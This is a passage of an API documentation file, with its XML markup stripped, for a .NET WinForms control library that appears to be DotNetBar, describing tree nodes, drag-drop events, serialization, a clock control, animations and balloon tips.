specified key. + + + + Gets or sets the node this collection is associated with. + + + + + Returns reference to the object in collection based on it's index. + + + + + Creates new instance of NodeComparer class. You can use NodeComparer to sort the nodes by specific column/cell by calling + NodeCollection.Sort method and pass new instance of NodeComparer class. + + + + + Creates new instance of NodeComparer class. You can use NodeComparer to sort the nodes by specific column/cell by calling + NodeCollection.Sort method and pass new instance of NodeComparer class. + + Column/Cell index to use for sorting. + + + + Gets or sets the Column/Cell index that is used for sorting. + + + + + Reverse sort nodes. + + + + + Creates new instance of NodeComparer class. You can use NodeComparer to sort the nodes by specific column/cell by calling + NodeCollection.Sort method and pass new instance of NodeComparer class. + + Column/Cell index to use for sorting. + + + + Sort by flat node index. + + + + + Creates new instance of NodeComparer class. You can use NodeComparer to sort the nodes by specific column/cell by calling + NodeCollection.Sort method and pass new instance of NodeComparer class. + + + + + Represents node connector. Node connector is the line that is drawn to indicate connection between child and parent node. + + + + + Default Constructor. + + + + + Creates new instance of the object with specified parameters. + + Connector line width. + Connector type. + + + + Returns true if editor should serialize LineColor property. + + + + + Occurs when appearance of the connector has changed as result of changed settings on the connector. + + + + + Gets or sets the connector line width. + + + + + Gets or sets the color of the connector line. + + + + + Gets or sets the type of the connector. + + + See eNodeConnectorType enum for list of + available connectors. + + eNodeConnectorType Enumeration + + + + Gets or sets the DashStyle for the connector line. Default value is DashStyle.Dot. + + + + + Represents node operations. + + + + + Returns full path to the given node. + + Node to return path to. + Full path to the node. + + + + Gets the last child tree node. The LastNode is the last child Node in the NodeCollection stored in the Nodes property of the current tree node. If the Node has no child tree node, the LastNode property returns a null reference (Nothing in Visual Basic). + + Reference node. + Last node if found or null if there is no last node. + + + + Returns last rendered node on screen. + + Tree control. + Last rendered node or null + + + + Returns first rendered node on screen. + + Tree control. + Last rendered node or null + + + + Gets first visible node. + + Reference to tree. + Last visible node found or null + + + + Gets last visible node in tree control. + + Reference to tree. + Last visible node found or null + + + + Gets last visible top-level node in tree control. + + Reference to tree. + Last visible node found or null + + + + Gets the next sibling tree node. The NextNode is the next sibling Node in the NodeCollection stored in the Nodes property of the tree node's parent Node. If there is no next tree node, the NextNode property returns a null reference (Nothing in Visual Basic). + + Reference node. + Node object or null if node cannot be found. + + + + Returns next visible sibling tree node. + + Reference node + Node object or null if next visible node cannot be found + + + + Gets the next visible tree node. The NextVisibleNode can be a child, sibling, or a tree node from another branch. If there is no next tree node, the NextVisibleNode property returns a null reference (Nothing in Visual Basic). + + Reference node. + Node object or null if node cannot be found. + + + + Gets the next visible tree node. The NextVisibleNode can be a child, sibling, or a tree node from another branch. If there is no next tree node, the NextVisibleNode property returns a null reference (Nothing in Visual Basic). + + Reference node. + Node object or null if node cannot be found. + + + + Gets a value indicating whether the tree node is visible. Node is considered to be visible when it's Visible property is set to true and path to the node is available i.e. all parent nodes are expanded. + + + + + + + Returns whether node is displayed on the screen and visible to the user. When node is outside of the viewable area this property will return false. It will also return false if node is not visible. + + + + + + + Gets the zero based index of position of the tree node in the tree node collection. -1 is returned if node is not added to the nodes collection. + + Reference node. + Zero based index or -1 if node is not in collection. + + + + Gets the previous sibling tree node. The PrevNode is the previous sibling Node in the NodeCollection stored in the Nodes property of the tree node's parent Node. If there is no previous tree node, the PrevNode property returns a null reference (Nothing in Visual Basic). + + Reference node. + Node object or null if node cannot be found. + + + + Gets the previous visible tree node. The PrevVisibleNode can be a child, sibling, or a tree node from another branch. If there is no previous tree node, the PrevVisibleNode property returns a null reference (Nothing in Visual Basic). + + Reference node. + Node object or null if node cannot be found. + + + + Gets the previous tree node. The Previous Node can be a child, sibling, or a tree node from another branch. If there is no previous tree node, the PrevNode property returns a null reference (Nothing in Visual Basic). + + Reference node. + Node object or null if node cannot be found. + + + + Returns true if node passed is considered root node for display purposes. + + Reference to the tree control. + Node to test. + true if node is root node for display purposes otherwise false. + + + + Ensures that the cell is visible, expanding nodes and scrolling the control as necessary. + + Cell to be made visible. + + + + Ensures that the node is visible, expanding nodes and scrolling the control as necessary. + + Node to be made visible. + + + + Ensures that the node is visible, expanding nodes and scrolling the control as necessary. + + Node to be made visible. + + + + Returns number of visible child nodes for given node. + + Reference node. + Number of visible child nodes. + + + + Returns true if node has at least single visible child node. + + Reference node. + True if at least single child node is visible otherwise false. + + + + Retrieves the tree node that is at the specified location. + + The Node at the specified point, in tree view coordinates. + + You can pass the MouseEventArgs.X and MouseEventArgs.Y coordinates of the + MouseDown event as the x and y parameters. + + The Point to evaluate and retrieve the node from. + Tree control to find node at. + + + + Retrieves the tree node that is at the specified location. + + The TreeNode at the specified location, in tree view coordinates. + + You can pass the MouseEventArgs.X and MouseEventArgs.Y coordinates of the + MouseDown event as the x and y parameters. + + The X position to evaluate and retrieve the node from. + The Y position to evaluate and retrieve the node from. + Tree control to find node at. + + + + Retrieves the tree node that is at the specified location. + + The TreeNode at the specified location, in tree view coordinates. + + You can pass the MouseEventArgs.X and MouseEventArgs.Y coordinates of the + MouseDown event as the x and y parameters. + + Tree control to find node at. + The X position to evaluate and retrieve the node from. + The Y position to evaluate and retrieve the node from. + Enumerates rendered nodes only. + + + + Retrieves the tree node that is at the specified location. + + The TreeNode at the specified location, in tree view coordinates. + + You can pass the MouseEventArgs.X and MouseEventArgs.Y coordinates of the + MouseDown event as the x and y parameters. + + Tree control to find node at. + The X position to evaluate and retrieve the node from. + The Y position to evaluate and retrieve the node from. + Enumerates rendered nodes only. + + + + Retrieves the tree node that is at the specified vertical location. + + The TreeNode at the specified location, in tree view coordinates. + + You can pass the MouseEventArgs.X and MouseEventArgs.Y coordinates of the + MouseDown event as the x and y parameters. + + The Y position to evaluate and retrieve the node from. + Tree control to find node at. + + + + Retrieves the tree node that is at the specified vertical location. + + The TreeNode at the specified location, in tree view coordinates. + + You can pass the MouseEventArgs.X and MouseEventArgs.Y coordinates of the + MouseDown event as the x and y parameters. + + The Y position to evaluate and retrieve the node from. + Tree control to find node at. + Enumerates rendered nodes only. + + + + Retrieves the tree node that is at the specified vertical location. + + The TreeNode at the specified location, in tree view coordinates. + + You can pass the MouseEventArgs.X and MouseEventArgs.Y coordinates of the + MouseDown event as the x and y parameters. + + The Y position to evaluate and retrieve the node from. + Tree control to find node at. + Enumerates rendered nodes only. + + + + Gets the count of visible child nodes (Visible=true) for given node. + + Reference to Node object. + Number of visible nodes. + + + + Gets the first visible child node or returns null if node cannot be found. + + Reference to Node object. + First visible node or null if node cannot be found. + + + + Gets the last visible child node or returns null if node cannot be found. + + Reference to Node object. + Last visible node or null if node cannot be found. + + + + Gets whether any node from array is child node of parent on any level. + + Reference to parent node. + Reference to child nodes. + + + + + Gets whether node is child node of parent on any level. + + Reference to parent node. + Reference to child node. + + + + + Returns true if child node is child of any parent node at any level. + + Parent nodes array + Child node + true if child otherwise false + + + + Finds the node based on the Node.Name property. + + Reference to a tree control. + Reference to a node with given name or null if node cannot be found. + + + + Finds the node based on the Node.DataKey property. + + Reference to a tree control. + Reference to a node with given key or null if node cannot be found. + + + + Finds the node based on the Node.BindingIndex property. + + Reference to a tree control. + Index to look for + + + + Returns next visible cell in node. + + Reference to a node + The index at which to start search. + Reference to cell or null if there are no visible cells + + + + Returns previous visible cell in node. + + Reference to a node + The index at which to start search. + Reference to cell or null if there are no visible cells + + + + Returns the zero based flat index of the node. Flat index is the index of the node as if tree structure + has been flattened into the list. + + Reference to parent tree control. + Reference to the node to return index for. + Zero based node index or -1 if index cannot be determined. + + + + Returns node based on the flat index. Flat index is the index of the node as if tree structure + has been flattened into the list. + + Parent tree control. + Index to return node for. + Reference to a node or null if node at specified index cannot be found. + + + + Finds the first node that starts with the specified text. Node.Text property is searched. + + Parent tree control. + Partial text to look for + Reference node to start searching from + Gets or sets whether search ignores the letter case + Reference to a node or null if no node is found. + + + + Returned as information about the node or its column header at given coordinates. + + + + + Defines options for EnsureVisible method which brings node into the view. + + + + + Scrolls the tree so node is displayed at the bottom of the tree, if possible. + + + + + Scrolls the tree so node is displayed in the middle of the tree, if possible. + + + + + Scrolls the tree so node is displayed at the top of the tree, if possible. + + + + + Class that provides predefined styles for the nodes. Styles are defined as static memeber of the class + + + + + Returns Apple element style + + + + + Returns Blue element style + + + + + Returns BlueLight element style + + + + + Returns BlueNight element style + + + + + Returns BlueMist element style + + + + + Returns Cyan element style + + + + + Returns Green element style + + + + + Returns Lemon element style + + + + + Returns Magenta element style + + + + + Returns Orange element style + + + + + Returns OrangeLight element style + + + + + Returns Purple element style + + + + + Returns PurpleMist element style + + + + + Returns Red element style + + + + + Returns Silver element style + + + + + Returns SilverMist element style + + + + + Returns Tan element style + + + + + Returns Teal element style + + + + + Returns Yellow element style + + + + + Returns Gray element style + + + + + Indicates predefined element style. + + + + + Represents the selected nodes collection. + + + + + Initializes a new instance of the SelectedNodesCollection class. + + + + + Adds new object to the collection and provides information about the source of the command + + Node to add + Source action + + + + + Adds an array of objects to the collection. + + Array of Node objects. + + + + Represents the text box for editing cell's text. + + + + + Gets or sets whether the editing is in word-wrap mode. + + + + + Gets or sets whether control prevents Beep sound when Enter key is pressed. + + + + + Summary description for TreeAreaInfo. + + + + + Reference to parent node in which child bounds the coordinates are. Can be null if no parent node contains given coordinates. + + + + + Node which contains specified coordinates. Can be null if no node contains coordinates. + + + + + Previous reference node for given coordinates. If coordinates fall between two nodes this will indicate previous node or null. + + + + + Next reference node for given coordinates. If coordinates fall between two nodes this will indicate next node or null. + + + + + Gets or sets the parent node drag node will be added to. When null the drag node is being added as top-level node. + + + + + Gets or sets the insert index of drag node into the parent's node Nodes collection. + + + + + Initializes a new instance of the NodeDragInfo class. + + + + + Initializes a new instance of the NodeDragInfo class. + + + + + + + Provides data for AdvTree Cell events that can be canceled. + + + + + Provides data for AdvTree Cell events. + + + + + Default constructor for event data. + + Type of the action event is raised for. + Cell that event is raised for. + + + + Indicates the type of the action performed on a cell. + + + + + Indicates the cell that action is performed on. + + + + + Default constructor for event data. + + Type of the action event is raised for. + Cell that event is raised for. + + + + Indicates that event action should be canceled. + + + + + Provides data for AdvTree.BeforeCheck event. + + + + + Initializes a new instance of the AdvTreeCellBeforeCheckEventArgs class. + + + + + + Represents event arguments for BeforeNodeDrop and AfterNodeDrop events + + + + + Provides data for AdvTree Node events that can be cancelled. + + + + + Provides data for AdvTree Node events that can be cancelled. + + + + + Provides data for AdvTree Node events. + + + + + Default constructor. + + Default action + Default node. + + + + Indicates the type of the action performed on a node. + + + + + Indicates the node that action is performed on. + + + + + Default constructor. + + Default action + Default node. + + + + Indicates that event action should be canceled. + + + + + Default constructor. + + Default action + Default node. + + + + Indicates the array of nodes that action is performed on. + + + + + Returns reference to the old parent node. + + + + + Reference to the new parent node if event is not cancelled. + + + + + Gets or sets whether drag node is being copied instead of moved. + + + + + Gets or sets the new insert position inside of NewParentNode.Nodes collection for the node being dragged. If InsertPosition is -1 + the ParentNode refers to the current mouse over node and drag & drop node will be added as child node to it. + + + + + Defines the data for NodeDragFeedback event. + + + + + Gets or sets whether this drop location is accepted. Default value is true. You can set this to false to disable drop at this location. + + + + + Gets or sets the parent node for the node that is being dragged. This can be null/nothing value to indicate a root top-level node that + is in AdvTree.Nodes collection. + + + + + Gets or sets the new insert position inside of ParentNode.Nodes collection for the node being dragged. If InsertPosition is -1 + the ParentNode refers to the current mouse over node and drag & drop node will be added as child node to it. + + + + + Initializes a new instance of the TreeDragFeedbackEventArgs class. + + + + + + + Initializes a new instance of the TreeDragFeedbackEventArgs class. + + + + + + + Initializes a new instance of the TreeDragFeedbackEventArgs class. + + + + + Gets reference to the node being dragged. + + + + + Gets or sets the drop effect for the drag-drop operation. + + + + + Initializes a new instance of the TreeDragFeedbackEventArgs class. + + + + + + + Initializes a new instance of the TreeDragFeedbackEventArgs class. + + + + + + + Gets reference to the node being dragged. + + + + + Represents event arguments for NodeCollection based events, like BeforeNodeInsert, AfterNodeInsert etc. + + + + + Creates new instance of the class. + + Source action + Affected node + Parent of the node if any + + + + Indicates parent node of the affected node. For example if event handled is BeforeNodeInsert parent of the Node is has + not been set yet so this property provides information on the node that will become parent. If this property returns null + then node is being added or removed from the main AdvTree.Nodes collection. + + + + + Represents event arguments for node mouse based events. + + + + + Gets node affected by mouse action. + + + + + Gets which mouse button was pressed. + + + + + Gets the number of times the mouse button was pressed and released. + + + + + Gets a signed count of the number of detents the mouse wheel has rotated. A detent is one notch of the mouse wheel. + + + + + Gets the x-coordinate of the mouse. + + + + + Gets the y-coordinate of the mouse. + + + + + Provides means for AdvTree serialization. + + + + + Saves Nodes to specified file. + + AdvTree to save + Target file name + + + + Saves Nodes to stream. + + AdvTree to save + Stream to save nodes to. + + + + Saves Nodes to TextWriter + + AdvTree to save + TextWriter to write nodes to. + + + + Saves nodes to XmlWriter. + + AdvTree to save + XmlWriter to write nodes to + + + + + Saves AdvTree to an existing XmlDocument. New node AdvTree is created in document and Nodes are serialized into it. + + AdvTree to serialize + XmlDocument instance. + + + + Serializes AdvTree object to XmlElement object. + + Instance of AdvTree to serialize. + XmlElement to serialize to. + + + + Serializes Node and all child nodes to XmlElement object. + + Node to serialize. + Provides serialization context. + + + + Load AdvTree Nodes from file. + + Reference to AdvTree to populate + File name. + + + + Load AdvTree Nodes from stream. + + Reference to AdvTree to populate + Reference to stream + + + + Load AdvTree Nodes from reader. + + Reference to AdvTree to populate + Reference to reader. + + + + Load AdvTree Nodes from reader. + + Reference to AdvTree to populate + Reference to reader. + + + + Load AdvTree from XmlDocument that was created by Save method. + + Tree Control to load + XmlDocument to load control from + + + + Load nodes from XmlElement. + + Reference to AdvTree to be populated. + XmlElement that tree was serialized to. + + + + Load single node and it's child nodes if any. + + New instance of node that is populated with loaded data. + Provides deserialization context. + + + + Provides context information for serialization. + + + + + Gets or sets reference to context parent XmlElement when serializing or actual Node element when deserializing. + + + + + Gets or sets whether SerializeNode event handler has been defined and whether event should be fired. + + + + + Gets or sets whether DeserializeNode event handler has been defined and whether event should be fired. + + + + + Provides access to serializer. + + + + + Represents class for static tree utilities. + + + + + Initializes control with default settings for connectors and nodes. + + Control to initialize. + + + + Initializes control with default settings for connectors and nodes. + + Control to initialize. + Factory to use to create new instances of objects. + + + + Creates new style and adds it to styles collection + + Tree to assign style to + Style factory + + + + + + + + Returns reference to a node that is hosting given control. + + Reference to the AdvTree control instance + Control instance to look for + Reference to a node hosting control or null if node could not be found + + + + Represents internal component factory with design-time support. + + + + + Creates new instance of the class. + + Reference to DesignerHost to use for creation of new components. + + + + Creates new instance of the class. + + + + + Creates component and returns reference to the new instance. + + Type that identifies component to create. + New instance of the component. + + + + Represents class that holds padding information for user interface elements. + + + + + Gets or sets padding on left side. Default value is 0 + + + + + Gets or sets padding on right side. Default value is 0 + + + + + Gets or sets padding on top side. Default value is 0 + + + + + Gets or sets padding on bottom side. Default value is 0 + + + + + Creates new instance of the class and initializes it. + + Left padding + Right padding + Top padding + Bottom padding + + + + Gets amount of horizontal padding (Left+Right) + + + + + Gets amount of vertical padding (Top+Bottom) + + + + + Gets whether Padding is empty. + + + + + Analog clock control. + + + + + Resets the property to default value. + + + + + Raises ValueChanging event. + + Provides event arguments. + + + + Raises ValueChanged event. + + Provides event arguments. + + + + Resets the property to default value. + + + + + Initializes a new instance of the ClockControl class + + + + + Releases all resources used by the class. + + + + + Renders the clock's center cap. + + Graphics object used for rendering. + Bounding rectangle. + + + + Renders the clock's glass overlay. + + Graphics object used for rendering. + Bounding rectangle. + + + + Renders the clock's hands. + + Graphics object used for rendering. + Bounding rectangle. + True if this is the rending pass after the cap has been rendered. + + + + Renders the clock's numeric hour indicators. + + Graphics object used for rendering. + Bounding rectangle. + + + + Renders the clock's tick hour/minute indicators. + + Graphics object used for rendering. + Bounding rectangle. + + + + Called when TimeZone property has changed. + + Old property value + New property value + + + + Default minimum size. Defaults to 100, 100. + + + + + Gets or sets whether anti-aliasing is used when rendering the control. Default value is true. + + + + + Gets or sets the state for automatic mode. When true the clock will auto redraw once a second and display the current date/time. Default value is false. + + + + + Gets or sets clock style for this control. + + + + + Gets or sets the clock style data elements for this control. + + + + + Gets or sets a the indicator style the clock control. Default value is Ticks. + + + + + Gets or sets whether the time can be changed by moving the clock hands. Default value is false. + + + + + Gets or sets a value indicating whether to display the glass overlay on the clock control. Default value is true. + + + + + Gets or sets a value indicating whether to display the second hand on the clock control. Default value is true. + + + + + Occurs while user is dragging the mouse in order to change time. + + + + + Occurs when Value i.e. time clock is displaying has changed. + + + + + Gets or sets the current date/time value for this control. + + + + + Gets or sets the time-zone string identifier that is used to display the time when AutomaticMode=true and clock is displaying current time. + + + + + Enumeration containing the available hour/minute indicators. + + + + + Control will use ticks for hour/minute indicators. + + + + + Control will use numbers for hour indicators. + + + + + Enumeration containing the available mouse edit states. + + + + + Control is not currently in an edit state. + + + + + Control is currently in an hour edit state. + + + + + Control is currently in an minute edit state. + + + + + Control is currently in an second edit state. + + + + + Provides event arguments for TimeValueChanging event. + + + + + Gets the current time represented by the control. + + + + + Initializes a new instance of the TimeValueChangingEventArgs class. + + + + + + Defines delegate for TimeValueChanging event. + + Source of event. + Event arguments + + + + Data storage class for clock hand visual style. + + + + + Resets the property to default value. + + + + + Initializes a new instance of the ClockHand class. + + + + + Initializes a new instance of the ClockHand class. + + The hand style for this item. + The length of this clock hand as a percentage value ranging from 0.0 to 1.0, with 1.0 being half the width/height of the bounding rectangle + The width of this clock hand as a percentage value ranging from 0.0 to 1.0, with 1.0 being half the width/height of the bounding rectangle. + + + + Indicates whether the specified point is contained within the bounds of this hand. + + The bounding rectangle of the parent clock control. + The clockwise angle for this clock hand in degrees from the 12 o'clock position. + A Point that represents the point to test. + + + + + Generates a scaled and rotated graphics path based on the given style, rectangle and angle. + + The bounding rectangle of the parent clock control. + The clockwise angle for this clock hand in degrees from the 12 o'clock position. + + + + + Raises the PropertyChanged event. + + Event arguments + + + + Gets or sets a value indicating whether the hand is drawn over the cap. + + + + + Gets or sets the hand color data for this hand. + + + + + Gets or sets the hand style for this clock hand. Default value is Style1. + + + + + Gets or sets the length of this clock hand as a percentage value ranging from 0.0 to 1.0, with 1.0 being half the width/height of the bounding rectangle. Default value is 1.0. + + + + + Gets or sets the width of this clock hand as a percentage value ranging from 0.0 to 1.0, with 1.0 being half the width/height of the bounding rectangle. Default value is 0.1. + + + + + Occurs when property value has changed. + + + + + Enumeration containing the available hand styles. + + + + + Style 1. + + + + + Style 2. + + + + + Style 3. + + + + + Style 4. + + + + + Data storage class for clock visual styles. + + + + + Resets the property to default value. + + + + + Resets the property to default value. + + + + + Resets the property to default value. + + + + + Resets the property to default value. + + + + + Resets the property to default value. + + + + + Resets the property to default value. + + + + + Resets the property to default value. + + + + + Resets the property to default value. + + + + + Resets the property to default value. + + + + + Initializes a new instance of the ClockStyle class. + + + + + Initializes a new instance of the ClockStyle class. + + Predefined style from the PredefinedStyles enum. + + + + Initializes a new instance of the ClockStyle class. + + Predefined style from the PredefinedStyles enum. + + + + Releases all resources used by the class. + + + + + Loads a predefined style + + The predefined style to load. + + + + Raises the PropertyChanged event. + + Event arguments + + + + Gets or sets the PredefinedStyles value for this style. + + + + + Gets or sets the clock shape value for this style. + + + + + Gets or sets the bezel color data for this style. + + + + + Gets or sets the width of clock bezel as a percentage value ranging from 0.0 to 1.0. + + + + + Gets or sets the face color data for this style. + + + + + Gets or sets the face background image for this style. + + + + + Gets or sets the hour hand style for this style. + + + + + Gets or sets the minute hand style for this style. + + + + + Gets or sets the second hand style for this style. + + + + + Gets or sets the center cap color data for this style. + + + + + Gets or sets the center cap diameter as a percentage value ranging from 0.0 to 1.0. + + + + + Gets or sets the face number color for this style. + + + + + Gets or sets the center cap color data for this style. + + + + + Gets or sets the large tick color data for this style. + + + + + Gets or sets the large tick length as a percentage value ranging from 0.0 to 1.0. + + + + + Gets or sets the large tick width as a percentage value ranging from 0.0 to 1.0. + + + + + Gets or sets the small tick color data for this style. + + + + + Gets or sets the small tick length as a percentage value ranging from 0.0 to 1.0. + + + + + Gets or sets the small tick width as a percentage value ranging from 0.0 to 1.0. + + + + + Gets or sets the overlay glass angle, in degrees for this style. + + + + + Occurs when property value has changed. + + + + + Gets the parent of the style. + + + + + Enumeration containing the predefined clock styles. + + + + + Style 1. Default style, + + + + + Style 2. + + + + + No predefined style. + + + + + Enumeration containing the predefined clock shapes. + + + + + Round clock shape. + + + + + Data storage and utility class for defining gradient colors. + + + + + Creates new instance of the object. + + + + + Creates new instance of the object. + + The first color for this entry. + The second color for this entry. + + + + Creates new instance of the object. + + The first color for this entry. + The second color for this entry. + The border color for this entry. + The border width for this entry. + + + + Creates new instance of the object. + + The first color for this entry. + The second color for this entry. + The border color for this entry. + The border width for this entry. + The gradient angle. + + + + Creates new instance of the object. + + The first color for this entry. + The second color for this entry. + The border color for this entry. + The border width for this entry. + The focus for the SigmaBellShape. + The scale for the SigmaBellShape. + + + + Loads data into the class, called by constructors. + + The first color for this entry. + The second color for this entry. + The border color for this entry. + The border width for this entry. + The focus for the SigmaBellShape. + The scale for the SigmaBellShape. + + + + Creates Pen object using the BorderColor and BorderWidth properties. + + + + + Creates a brush of the type specified by BrushType. + + The graphics path used to construct the brush. + + + + Creates a brush of the type specified by BrushType. + + The graphics path used to construct the brush. + The angle used for the gradients, allowing an override of BrushAngle + + + + Creates a brush of the type specified by BrushType. + + The graphics path used to construct the brush. + The center point of the gradient as a percentage value typically ranging from 0.0 to 1.0. + + + + Creates a brush of the type specified by BrushType. + + The graphics path used to construct the brush. + The center point of the gradient as a percentage value typically ranging from 0.0 to 1.0. + The angle used for the gradients, allowing an override of BrushAngle + + + + Creates SolidBrushObject using Color1. + + + + + Creates a LinearGradientBrush object. + + The graphics path used to construct the brush. + The gradient angle. + + + + Creates a PathGradientBrush object. + + The graphics path used to construct the brush. + The center point of the gradient. + + + + Creates a LinearGradientBrush object. + + The graphics path used to construct the brush. + The gradient angle. + + + + Creates a LinearGradientBrush object. + + The graphics path used to construct the brush. + The gradient angle. + The focus for the SigmaBellShape. + + + + Creates a LinearGradientBrush object. + + The graphics path used to construct the brush. + The gradient angle. + The focus for the SigmaBellShape. + The scale for the SigmaBellShape. + + + + Raises the PropertyChanged event. + + Event arguments + + + + Gets or sets the border color for this item. Default value is white. + + + + + Gets or sets the border width for this item. Default value is 0. + + + + + Gets or sets the brush angle for this item. Only applies to Linear and Reflected brush types. Default value is 0. + + + + + Gets or sets the brush SigmaBellShape focus for this item. Only applies to Reflected brush types. Default value is 0.5. + + + + + Gets or sets the brush SigmaBellShape scale for this item. Only applies to Reflected brush types. Default value is 0.5. + + + + + Gets or sets the brush type for this item. Default value is Solid. + + + + + Gets or sets the first color for this item. Default value is white. + + + + + Gets or sets the second color for this item. Default value is white. + + + + + Occurs when property value has changed. + + + + + Enumeration containing predefined brush types for the ColorData class. + + + + + Solid brush. + + + + + Linear gradient brush. + + + + + Centered path gradient brush. + + + + + Reflected linear gradient brush. + + + + + Math helper class + + + + + Converts radians to degrees. + + Value to be converted in radians. + Converted value in degrees. + + + + Converts degrees to radians. + + Value to be converted in degrees. + Converted value in radians. + + + + Raises AnimationCompleted event. + + Provides event arguments. + + + + Initializes a new instance of the Animation class. + + Target object for animation + Target property name for animation + + + + Initializes a new instance of the Animation class. + + Target object for animation + Target property name for animation + + + + Initializes a new instance of the Animation class. + + Target object for animation + Target property name for animation + + + + Stops animation if one is currently running. + + + + + Sets the method which is called each time value on target object property is set. This method may execute the visual updates on animation client. + + Method to call + + + + Occurs after animation has completed. + + + + + Gets or sets whether animation is auto-disposed once its completed. Default value is false. + + + + + Gets whether animation run is complete. + + + + + Gets the animation duration in milliseconds. + + + + + Gets the animation easing function. + + + + + Gets or sets the number of fixed steps animation will perform from star to finish instead of using the easing function in time. + Stepped animation executes specified number of steps always with Duration specifying delays between each step. + + + + + Initializes a new instance of the AnimationRequest class. + + Target object for animation. + Target property name for animation. + From value. + To value. + + + + Initializes a new instance of the AnimationRequest class. + + Target object for animation. + Target property name for animation. + From value. + To value. + + + + Target object for animation. + + + + + Animation from value. + + + + + Animation to value. + + + + + Specifies the animation easing function + + + + + Initializes a new instance of the Animation class. + + Target object for animation + Target property name for animation + + + + Initializes a new instance of the Animation class. + + Target object for animation + Target property name for animation + + + + Initializes a new instance of the Animation class. + + Target object for animation + Target property name for animation + + + + Initializes a new instance of the Animation class. + + Target object for animation + Target property name for animation + + + + Initializes a new instance of the Animation class. + + Target object for animation + Target property name for animation + + + + Initializes a new instance of the Animation class. + + Target object for animation + Target property name for animation + + + + Initializes a new instance of the Animation class. + + Target object for animation + Target property name for animation + + + + Initializes a new instance of the Animation class. + + Target object for animation + Target property name for animation + + + + Initializes a new instance of the Animation class. + + Target object for animation + Target property name for animation + + + + Initializes a new instance of the Animation class. + + Target object for animation + Target property name for animation + + + + Initializes a new instance of the Animation class. + + Target object for animation + Target property name for animation + + + + Initializes a new instance of the Animation class. + + Target object for animation + Target property name for animation + + + + Runs all animations from Animations list. + + + + + Returns whether Storyline is disposed. + + + + + Gets the list of animations to run using this storyline. + + + + + Gets or sets number of times storyline is repeated. Default value is 0 which indicates that storyline is run only once meaning not repeated. + + + + + Gets or sets whether storyline is auto-disposed when finished. + + + + + Clean up any resources being used. + + + + + Returns the reference to DockContainerItem tab if any under specified coordinates. + + X - client mouse coordinate + Y - client mouse coordinate + Reference to DockContainerItem whose tab is at specified coordinates or null if there is no tab at given coordinates + + + + Sets bars position on the auto-hide panel. + + Bar for which position should be changed. + New indexed position of the bar. + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is false. + + + + + Gets or sets the timeout in milliseconds for auto hide/show action. + When timeout has elapsed and mouse has left the bar the bar will be automatically hidden. + If mouse is hovering over the collapsed bar and timeout has elapsed the bar will be displayed. + + + + + Gets or sets whether bars on auto-hide panel are displayed when mouse hovers over the tab. + + + + + Gets or sets whether bars that have focus are collapsed automatically or not. + + + + + Gets or sets the style of auto-hide panel. + + + + + Gets or sets the ColorScheme object used by this panel. Default value is null which means that ColorScheme is + automatically created as specified by Style property. Note that if your DotNetBarManager has UseGlobalColorScheme set to true + ColorScheme from DotNetBarManager will be used. + + + + + Creates new instance of the class. + + + + + Creates new instance of the class. + + + + + Indicates the Balloon tip position. + + + + + Tip is on the top. + + + + + Tip is on the left side. + + + + + Tip is on the right side. + + + + + Tip is on the bottom. + + + + + Indicates the style of the balloon. + + + + + Indicates type of Alert animation performed when alert is displayed. + + + + + No animation take place when alert is displayed. + + + + + Alert is animated from bottom to top. (Default) + + + + + Alert is animated from top to bottom. + + + + + Alert is animated from left to right. + + + + + Alert is animated from right to left. + + + + + Delegate for custom paint event handler. + + + + + Summary description for Balloon. + + + + + Clean up any resources being used. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Auto resize balloon to the content. Balloon width is calculated so image and caption text can fit in single line. + + + + + Recalculates layout of the balloon. + + + + + Displays balloon using control to automatically calculate balloon location. Method is usually used display balloon that is showing information for the certain control. + + Control used for balloon positioning. + + + + Displays balloon using control to automatically calculate balloon location. Method is usually used display balloon that is showing information for the certain control. + + Control used for balloon positioning. + Indicates whether balloon receives input focus. + + + + Displays balloon using rectangle to automatically calculate balloon location. Method is usually used display balloon that is showing information for the certain screen region. + + Rectangle in screen coordinates used for balloon positioning. + Indicates whether balloon receives input focus. + + + + Displays balloon using item to automatically calculate balloon location. Method is usually used display balloon that is showing information for the certain item. + + Item used for balloon positioning. + Indicates whether balloon receives input focus. + + + + Display balloon. + + Indicates whether balloon receives input focus. + + + + Displays balloon. + + + + + Called when balloon is hidden. + + + + + Hides balloon. + + + + + Occurs when background is redrawn. + + + + + Occurs when caption image is redrawn. + + + + + Occurs when caption text is redrawn. + + + + + Occurs when text is redrawn. + + + + + Occurs when close button is clicked. + + + + + Occurs when TipPosition property has changed. + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is false. + + + + + Gets or sets the minimum balloon width when auto sizing balloon. Default value is 180. + + + + + Occurs when text markup link is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Gets or sets the target gradient background color. + + + + + Gets or sets gradient fill angle. + + + + + Specifies the transparency of background image. + + + + + Specifies background image position when container is larger than image. + + + + + Gets or sets the border color.. + + + + + Specifies balloon style. + + + + + Gets or sets whether the Close button is displayed. + + + + + Gets or sets the animation type used to display Alert type balloon. + + + + + Gets or sets the total time in milliseconds alert animation takes. + Default value is 200. + + + + + Gets or sets whether balloon will close automatically when user click the close button. + + + + + Gets or sets time period in seconds after balloon closes automatically. + + + + + Gets or sets the custom image for Close Button. + + + + + Gets or sets the custom image for Close Button when mouse is over the button. + + + + + Gets or sets the custom image for Close Button when button is pressed. + + + + + Gets or sets the Caption image. + + + + + Gets or sets the Caption icon. Icon is used to provide support for alpha-blended images in caption. + + + + + Gets or sets the Caption font. + + + + + Gets or sets text displayed in caption. + + + + + Gets or sets color of caption text. + + + + + Gets or set position of the balloon tip. + + + + + Gets or sets tip distance from the edge of the balloon. + + + + + Returns length of the tip. + + + + + Gets/Sets whether Balloon is visible. + + + + + Represents a balloon style pop-up window that displays a brief description of a control's purpose when the mouse hovers over the control or when controls receives input focus. + + + + + Initializes a new instance of the BalloonTip class. + + + + + Clean up any resources being used. + + + + + Retrieves the Balloon Caption text associated with the specified control. + + + + + Associates Balloon Caption text with the specified control. + + The Control to associate the Balloon Caption text with. + The Balloon Caption text to display on the Balloon. + + + + Retrieves the Balloon text associated with the specified control. + + + + + Associates Balloon text with the specified control. + + The Control to associate the Balloon text with. + The Balloon text to display on the Balloon. + + + + Removes all Balloon texts currently associated with the BalloonTip control. + + + + + Removes specific Balloon texts currently associated with the BalloonTip control. + + Control that has Balloon texts associated. + + + + Shows Balloon for specific control. Control must have Balloon already assigned to it. + + Control that has Balloon already assigned. + + + + Closes Balloon control if visible. 